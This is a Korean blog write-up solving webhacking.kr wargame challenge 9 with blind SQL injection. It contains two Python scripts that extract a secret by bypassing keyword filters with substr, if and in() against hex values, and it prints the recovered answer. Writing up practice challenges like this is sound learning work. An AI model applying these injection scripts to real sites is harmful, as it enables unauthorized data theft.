9번 문제는 900점으로 2번째로 높은 배점이 있는 문제이다.


그럼 풀어보도록 하자.


접속하면 아래 처럼



1 2 3 <a> 태그가 있고, Password를 입력받는 input text가 있다.



1, 2, 3을 눌러보도록 하자.



GET 방식을 통해 no라는 파라미터로 값을 보내 줬을 떄의 결과이다.


1, 2는 사과, 바나나가 나오고 3이면 Secret이 나온다 Secret을 알아내면 되는거 같다.


힌트로 길이와, 컬럼이 주어졌으므로 no에 Blind Injection을 진행하면 문제를 풀 수 있을 것 같다.


따라서 아래와 같이 스크립트를 작성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib2, re
 
header = {'Cookie':'PHPSESSID=jeong0su'}
 
result = str()
subqry = "select 1".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Apple", res):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# Access Denied!



mid, lpad, bin, ord 함수를 사용 했을 때 필터링으로 인해 Access Denied!가 발생 하는 것 같다. 


따라서 어떤 문자열이 필터링하는지 no값에 넣어 확인해 본 결과


mid, bin, ord 함수를 필터링 한다.


mid함수의 경우 substr을 쓸 수 있기 때문에 필터링 우회를 할 수 있다.


ord함수의 경우 우회를 위해서 ascii, hex, conv 함수를 사용해 봤지만 전부 필터링 하고 있다.


여기서 아래와 같이 in을 사용하여 비교하는 방법이 생각났고 테스트 해본 결과 필터링에 문제 되는 것도 없었다.




('a'는 16진수로 0x61)


이제 no가 3일 경우에 id를 가져와야하는데 limit 함수를 사용할 수 없기 떄문에


if 문을 사용하여 blind injection 결과가 참일 때 no=3을 만들어줘서 no가 3일 경우의 id를 가져오는 방법을 선택했다.


따라서 완성 된 스크립트는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "id"
 
for i in range(112):
    temp = "0b0"
    for j in string.printable:
        param = "(if(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "),3,0))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Secret", res):
            result += j
            break;
 
    print result
 
# result: alsrkswhaql



처음 화면에 나온 창에 결과 값을 넣어주면 문제가 풀리게 된다.



끝!









'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10

+ Recent posts